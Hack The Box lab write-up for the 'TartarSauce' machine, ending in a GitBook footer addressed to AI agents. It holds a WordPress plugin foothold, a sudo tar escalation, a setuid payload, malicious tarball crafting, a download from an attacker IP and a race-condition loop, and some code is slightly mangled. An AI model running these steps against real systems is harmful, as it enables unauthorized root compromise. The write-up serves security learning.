> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tartarsauce.md).
# HTB - TartarSauce
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
```
### HTTP
Directory Enumeration revealed robots.txt
running monstra 3.0.4
default password `admin:admin` lets me inside.
probably this is a dead end
directory enumeration revealed a wordpress running.
that said i can run wpscan.
Found a Gwolle Plugin.
so the version is 1.5.3
{% embed url="" %}
that said i will use a php reverse shell from pentest monkey to get reverse shell
i will name the reverse shell to wp-load.php
## Shell as www-data
gtfobins has a page for it.
{% embed url="" %}
```bash
www-data@TartarSauce:/var/www$ sudo -u onuma tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
oint=1 --checkpoint-action=exec=/bin/shl --checkp
tar: Removing leading `/' from member names
$ id
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
$
```
## Shell as Onuma
there is a system timer running called `backuperer.timer` which is unusual
```bash
$ cat /usr/sbin/backuperer
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
$
```
### TOCTOU Race Condition
The `backuperer` script (run every 5 minutes by a systemd timer, as root) did this:
```
1. tar up /var/www/html into a randomly-named file in /var/tmp (as user onuma)
2. sleep 30
3. mkdir /var/tmp/check
4. tar -xzf into /var/tmp/check (as root)
5. diff -r the real webroot against the extracted copy
6. if different → log an error and exit
if same → move tarball to backups, clean up
```
The tarball's name was in `/var/tmp` (world-writable) and, critically, it was created by a low-privileged user (`onuma`) but later *extracted as root*. Whoever creates the archive controls its contents *and metadata* including file ownership and permission bits stored in the tar headers.
**A 30-second window existed between archive creation and root's extraction step**, giving an attacker time to swap the legitimate archive for a malicious one before root ever touched it.
This is a classic TOCTOU (time-of-check to time-of-use) race condition combined with an untrusted-archive-extraction bug: root trusted a file that a non-root user could still modify at the moment root acted on it.
create a code to set suid on /bin/bash
```c
#include
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
```
```bash
──(ajay㉿kali)-[~]
└─$ gcc -m32 -static -o suid setuid.c
┌──(ajay㉿kali)-[~]
└─$ mkdir -p payload/var/www/html
┌──(ajay㉿kali)-[~]
└─$ cp suid payload/var/www/html/suid
┌──(ajay㉿kali)-[~]
└─$ chmod 4755 payload/var/www/html/suid
┌──(ajay㉿kali)-[~]
└─$ cd payload
┌──(ajay㉿kali)-[~/payload]
└─$ tar --owner=root --group=root -cvf ../evil.tar var/www/html
var/www/html/
var/www/html/suid
┌──(ajay㉿kali)-[~/payload]
└─$ cd ..
┌──(ajay㉿kali)-[~]
└─$ gzip evil.tar
```
send the file to shell
```bash
onuma@TartarSauce:/dev/shm$ wget http://10.10.14.49/evil.tar.gz -O evil.tar.gz
wget http://10.10.14.49/evil.tar.gz -O evil.tar.gz
--2026-08-22 15:17:25-- http://10.10.14.49/evil.tar.gz
Connecting to 10.10.14.49:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 332498 (325K) [application/gzip]
Saving to: 'evil.tar.gz'
evil.tar.gz 100%[===================>] 324.71K 1.06MB/s in 0.3s
2026-08-22 15:17:26 (1.06 MB/s) - 'evil.tar.gz' saved [332498/332498]
```
```bash
onuma@TartarSauce:/dev/shm$ while true; do
for f in /var/tmp/.*; do
if [[ -f "$f" && "$f" != "/var/tmp/.*" && "$f" != *"check"* ]]; then
cp /dev/shm/evil.tar.gz "$f"
echo "hit: $f"
while true; do
> fi
done
sleep 0.2
done
```
after 30 seconds
we get our suid file in place and can use it to get root access.
## Shell as Root
### Race Condition Explained
the tarball was created by `onuma`, not root, and written to `/var/tmp` — a world-writable directory. Randomising the filename defended against *guessing* it in advance, but did nothing to stop you from *reacting* to its appearance. Once you saw the file exist, you had full write access to it (same permissions class as the user who created it, in a directory anyone can write into).
you could replace the *contents* of that file at will, any time after it appeared and before root touched it.
`/bin/sleep 30` his wasn't just "some" window it was a fixed, predictable 30 seconds with no hash-check, no lock file, no atomic rename-after-verify. Root had no way to confirm at extraction time that the file it was about to open was still the one `onuma`'s tar process had produced.
A simple polling loop (`sleep 0.2` between checks) was more than fast enough to land inside a 30-second window reliably, every single cycle.
`/bin/mkdir $check`\
`/bin/tar -zxvf $tmpfile -C $check`
Root extracted the file without dropping privileges or sandboxing
because the *reading/extracting* process was root, any metadata embedded in the archive ownership, permission bits, setuid got applied with root's authority. This is the crux of the whole exploit: **tar preserves ownership/permission metadata from the archive, and enforces those permissions using the privilege level of whoever is doing the extracting, not whoever built the archive.**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tartarsauce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
